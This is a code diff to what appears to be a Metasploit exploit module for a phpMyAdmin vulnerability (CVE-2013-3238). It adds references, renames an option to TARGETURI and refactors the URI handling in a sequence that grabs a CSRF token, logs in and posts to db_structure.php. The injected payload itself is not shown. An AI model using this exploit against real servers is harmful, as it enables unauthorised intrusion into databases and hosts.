@@ -32,6 +32,8 @@ def initialize(info = {})
32
32
[ 'CVE' , '2013-3238' ] ,
33
33
[ 'PMASA' , '2013-2' ] ,
34
34
[ 'waraxe' , '2013-SA#103' ] ,
35
+ [ 'EDB' , '25003' ] ,
36
+ [ 'OSVDB' , '92793' ] ,
35
37
[ 'URL' , 'http://www.waraxe.us/advisory-103.html' ] ,
36
38
[ 'URL' , 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
37
39
] ,
@@ -54,19 +56,15 @@ def initialize(info = {})
54
56
55
57
register_options (
56
58
[
57
- OptString . new ( 'URI ' , [ true , "Base phpMyAdmin directory path" , '/phpmyadmin/' ] ) ,
59
+ OptString . new ( 'TARGETURI ' , [ true , "Base phpMyAdmin directory path" , '/phpmyadmin/' ] ) ,
58
60
OptString . new ( 'USERNAME' , [ true , "Username to authenticate with" , 'admin' ] ) ,
59
61
OptString . new ( 'PASSWORD' , [ false , "Password to authenticate with" , '' ] )
60
62
] , self . class )
61
63
end
62
64
63
- def uri ( path = "" )
64
- normalize_uri ( datastore [ 'PATH' ] , datastore [ 'URI' ] , path )
65
- end
66
-
67
65
def check
68
66
begin
69
- res = send_request_cgi ( { 'uri' => uri ( '/js/messages.php' ) } )
67
+ res = send_request_cgi ( { 'uri' => normalize_uri ( target_uri . path , '/js/messages.php' ) } )
70
68
rescue
71
69
print_error ( "Unable to connect to server." )
72
70
return CheckCode ::Unknown
@@ -115,6 +113,7 @@ def check
115
113
end
116
114
117
115
def exploit
116
+ uri = target_uri . path
118
117
print_status ( "Grabbing CSRF token..." )
119
118
response = send_request_cgi ( { 'uri' => uri } )
120
119
if response . nil?
@@ -138,7 +137,7 @@ def exploit
138
137
139
138
login = send_request_cgi ( {
140
139
'method' => 'POST' ,
141
- 'uri' => uri ( 'index.php' ) ,
140
+ 'uri' => normalize_uri ( uri , 'index.php' ) ,
142
141
'vars_post' => post
143
142
} )
144
143
@@ -151,7 +150,7 @@ def exploit
151
150
cookies = login . get_cookies
152
151
153
152
login_check = send_request_cgi ( {
154
- 'uri' => uri ( 'index.php' ) ,
153
+ 'uri' => normalize_uri ( uri , 'index.php' ) ,
155
154
'vars_get' => { 'token' => token } ,
156
155
'cookie' => cookies
157
156
} )
@@ -164,7 +163,7 @@ def exploit
164
163
165
164
db = rand_text_alpha ( 3 +rand ( 3 ) )
166
165
exploit_result = send_request_cgi ( {
167
- 'uri' => uri ( 'db_structure.php' ) ,
166
+ 'uri' => normalize_uri ( uri , 'db_structure.php' ) ,
168
167
'method' => 'POST' ,
169
168
'cookie' => cookies ,
170
169
'vars_post' => {
0 commit comments